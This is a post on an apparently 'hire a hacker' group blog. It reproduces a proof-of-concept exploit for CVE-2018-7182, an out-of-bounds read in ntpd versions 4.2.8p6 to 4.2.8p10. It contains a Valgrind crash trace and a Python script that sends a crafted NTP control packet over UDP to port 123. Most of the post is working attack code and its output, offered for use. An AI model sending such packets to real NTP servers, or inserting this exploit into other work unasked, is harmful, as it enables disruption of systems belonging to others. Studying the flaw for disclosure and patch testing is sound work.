Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86393243

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: ntpd 4.2.8p10 - Out-of-Bounds Read (PoC)
# Bug Discovery: Yihan Lian, a security researcher of Qihoo 360 GearTeam
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/blog/cve-2018-7182
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p10.tar.gz
# Version: ntp 4.2.8p6 - 4.2.8p10
# CVE: CVE-2018-7182

# Note: this PoC exploit only crashes the target when target is ran under a memory sanitiser such as ASan / Valgrind
#$ sudo valgrind ./ntpd/ntpd -n -c ~/resources/ntp.conf 
#==50079== Memcheck, a memory error detector
#==50079== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. 
#==50079== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
#==50079== Command: ./ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
#==50079== 
#12 Nov 09:26:19 ntpd[50079]: ntpd 4.2.8p10@1.3728-o Mon Nov 12 08:21:41 UTC 2018 (4): Starting
#12 Nov 09:26:19 ntpd[50079]: Command line: ./ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
#12 Nov 09:26:19 ntpd[50079]: proto: precision = 1.331 usec (-19)
#12 Nov 09:26:19 ntpd[50079]: switching logging to file /tmp/ntp.log
#12 Nov 09:26:19 ntpd[50079]: Listen and drop on 0 v6wildcard [::]:123
#12 Nov 09:26:19 ntpd[50079]: Listen and drop on 1 v4wildcard 0.0.0.0:123
#12 Nov 09:26:19 ntpd[50079]: Listen normally on 2 lo 127.0.0.1:123
#12 Nov 09:26:19 ntpd[50079]: Listen normally on 3 eth0 172.16.193.132:123
#12 Nov 09:26:19 ntpd[50079]: Listen normally on 4 lo [::1]:123
#12 Nov 09:26:19 ntpd[50079]: Listen normally on 5 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
#12 Nov 09:26:19 ntpd[50079]: Listening on routing socket on fd #22 for interface updates
#==50079== Invalid read of size 1
#==50079==    at 0x12B8CF: ctl_getitem (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x131BF8: read_mru_list (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x12FD65: process_control (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x1440F9: receive (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x12AAA3: ntpdmain (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x12AC2C: main (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==  Address 0x6c6b396 is 0 bytes after a block of size 6 alloc'd
#==50079==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
#==50079==    by 0x4C2AFCF: realloc (vg_replace_malloc.c:692)
#==50079==    by 0x17AC63: ereallocz (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x130A5F: add_var (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x130BC5: set_var (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x131636: read_mru_list (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x12FD65: process_control (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x1440F9: receive (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x12AAA3: ntpdmain (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==    by 0x12AC2C: main (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)                                                                                                                          
#==50079==

#!/usr/bin/env python

import sys
import socket

buf = ("\x16\x0a\x00\x02\x00\x00\x00\x00\x00\x00\x00\x39\x6e\x6f\x6e\x63" +
       "\x65\x3d\x64\x61\x33\x65\x62\x35\x31\x65\x62\x30\x32\x38\x38\x38" +
       "\x64\x61\x32\x30\x39\x36\x34\x31\x39\x63\x2c\x20\x66\x72\x61\x67" +
       "\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x00\x31\x32\x37\x2e" +
       "\x30\x2e\x30\x2e\x31\x00\x00\x00")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))